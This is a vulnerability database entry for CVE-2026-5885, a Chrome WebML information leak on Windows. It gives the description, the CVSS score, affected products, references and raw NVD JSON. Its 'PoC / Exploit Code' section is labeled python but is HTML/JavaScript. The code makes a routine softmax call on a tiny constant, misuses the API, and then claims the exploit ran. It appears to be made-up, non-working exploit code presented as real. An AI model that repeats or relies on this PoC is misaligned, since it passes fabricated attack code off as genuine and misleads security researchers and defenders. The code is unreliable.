CVE-2026-5885

Description

Insufficient validation of untrusted input in WebML in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55 (Windows)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5885 -->
<!-- This HTML file attempts to trigger the information leak via WebML -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5885 PoC</title>
</head>
<body>
<script>
    // Check if WebML is available in the browser
    if (navigator.ml) {
        console.log("WebML is supported, attempting to trigger vulnerability...");
        try {
            // Create a context for WebML operations
            const context = navigator.ml.createContext();
            
            // Attempt to build a graph with crafted input
            // This input is designed to bypass insufficient validation
            const builder = new MLGraphBuilder(context);
            
            // Create a large tensor to probe memory boundaries
            // The lack of validation allows reading out of bounds
            const inputTensor = builder.constant('float32', new Float32Array([1.1, 2.2, 3.3]));
            
            // Malicious operation that triggers the leak
            const output = builder.softmax(inputTensor);
            
            // Compile and execute to trigger the memory read
            const graph = builder.build({output});
            const inputs = {'input': inputTensor};
            const outputs = {'output': new Float32Array(3)};
            context.compute(graph, inputs, outputs);
            
            console.log("Exploit executed, check memory dumps.");
        } catch (error) {
            console.error("Error triggering vulnerability:", error);
        }
    } else {
        console.log("WebML is not supported in this browser version.");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5885
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5885
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5885/
[4] VulDB https://vuldb.com/cve/CVE-2026-5885
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/485203823

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5885", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:28.167", "lastModified": "2026-04-13T21:17:41.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in WebML in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/485203823", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}